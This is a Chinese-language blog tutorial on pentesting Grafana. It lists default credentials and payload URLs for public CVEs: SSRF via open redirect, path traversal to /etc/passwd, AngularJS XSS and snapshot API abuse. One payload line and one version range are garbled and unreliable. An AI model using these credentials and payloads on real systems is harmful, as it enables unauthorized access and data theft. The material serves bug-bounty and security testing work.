在漏洞评估、管理和渗透测试方面的全职工作与三年的错误搜寻作为副业之间的平衡教会了我一件事:好奇心驱动创新。我是 Sushant Ghanekar,在这篇文章中,我将指导您完成 Grafana 实例的渗透测试。那么让我们开始吧。
Grafana 到底是什么?
Grafana 是一个开源交互式数据可视化平台,由Grafana Labs开发,允许用户通过统一到一个仪表板(或多个仪表板!)的图表和图形来查看数据,以便于解释和理解。您还可以从信息存储的任何位置查询信息和指标并设置警报,无论是传统服务器环境、 Kubernetes 集群还是各种云服务等。
这篇文章是关于什么的?
本文是您探索公开披露的漏洞以及其他安全研究人员在 Grafana 实例中发现的轻松胜利的首选指南。如果您在错误赏金计划或渗透测试的背景下处理 Grafana,这篇文章将帮助您查明可以查找的常见问题。
1.默认凭证
当开始对 Grafana 实例进行安全评估时,最快的检查之一是测试默认凭据——这是一种常见的疏忽,可能会导致严重的漏洞。与许多其他平台一样,Grafana 通常附带预设的登录凭据,但管理员可能会忘记更新。
admin:admin
admin:prom-operator
测试默认凭据后,下一步是查找与您目标的特定 Grafana 版本相关的公开披露的 CVE 。识别Grafana 版本至关重要,因为漏洞通常是特定于版本的。您通常可以在登录页面底部找到显示的版本号。获得版本后,将其与公开可用的 CVE 进行交叉引用,以识别潜在的攻击媒介。
2. CVE-2020–13379:rhynorater
在对 Grafana 进行一些 bug 赏金安全研究时,我发现通过将一些重定向和 URL 参数注入 bug 链接在一起,可以在版本 3.0.1 的任何 Grafana 实例上实现完全读取、未经身份验证的 SSRF 7.0.1。可以在此处找到针对此错误的 Grafana 公告。
打开重定向:
https://target/avatar/test%3fd%3dgoogle.com%25253f%253b%252fbp.blogspot.com
链接此开放重定向最终 SSRF 后:
https://target/avatar/test%3fd%3dredirect.rhynorater.com%25253f%253b%252fbp.blogspot.com%252fYOURHOSTHERE
强烈推荐:
https://rhynorater.github.io/CVE-2020-13379-Write-Up
3.CVE-2020–11110
https://target/api/snapshots
4.CVE-2021–43798
Grafana 版本 8.0.0-beta1 到 8.3.0(修补版本除外)容易受到目录遍历的攻击,从而允许访问本地文件。易受攻击的 URL 路径为:<grafana_host_url>/public/plugins// ,其中是任何已安装插件的插件 ID。
https://target/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd
有关此的更多信息:
https://github.com/jas502n/Grafana-CVE-2021-43798
5.CVE-2021–41174
在受影响的版本中,如果攻击者能够说服受害者访问引用易受攻击页面的 URL,则可以在受害者浏览器的上下文中执行任意 JavaScript 内容。访问恶意链接的用户必须未经身份验证,并且该链接必须指向菜单栏中包含登录按钮的页面。必须精心设计 url 来利用 AngularJS 渲染并包含 AngularJS 表达式的插值绑定。AngularJS 使用双花括号进行插值绑定:{{ }} 例如:{{constructor.constructor('alert(1)')()}}。当用户点击链接并呈现页面时,登录按钮将包含带有查询参数的原始链接,以强制重定向到登录页面。
https://target/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1
6.CVE-2021–39226
在受影响的版本中,未经身份验证和经过身份验证的用户都可以通过访问文字路径来查看具有最低数据库密钥的快照:/dashboard/snapshot/:key 或 /api/snapshots/:key。如果快照“public_mode”配置设置设置为 true(默认为 false),则未经身份验证的用户可以通过访问文字路径 /api/snapshots-delete/:deleteKey 来删除具有最低数据库密钥的快照。无论快照“public_mode”设置如何,经过身份验证的用户都可以通过访问文字路径来删除具有最低数据库密钥的快照:/api/snapshots/:key 或 /api/snapshots-delete/:deleteKey。
https://target/api/snapshots/:key
https://target/api/snapshots
https://target/dashboard/snapshot/%7B%7Bconstructor.constructor'/.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd
https://target/dashboard/snapshot/*?orgId=0
https://target/api/user/password/sent-reset-email
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里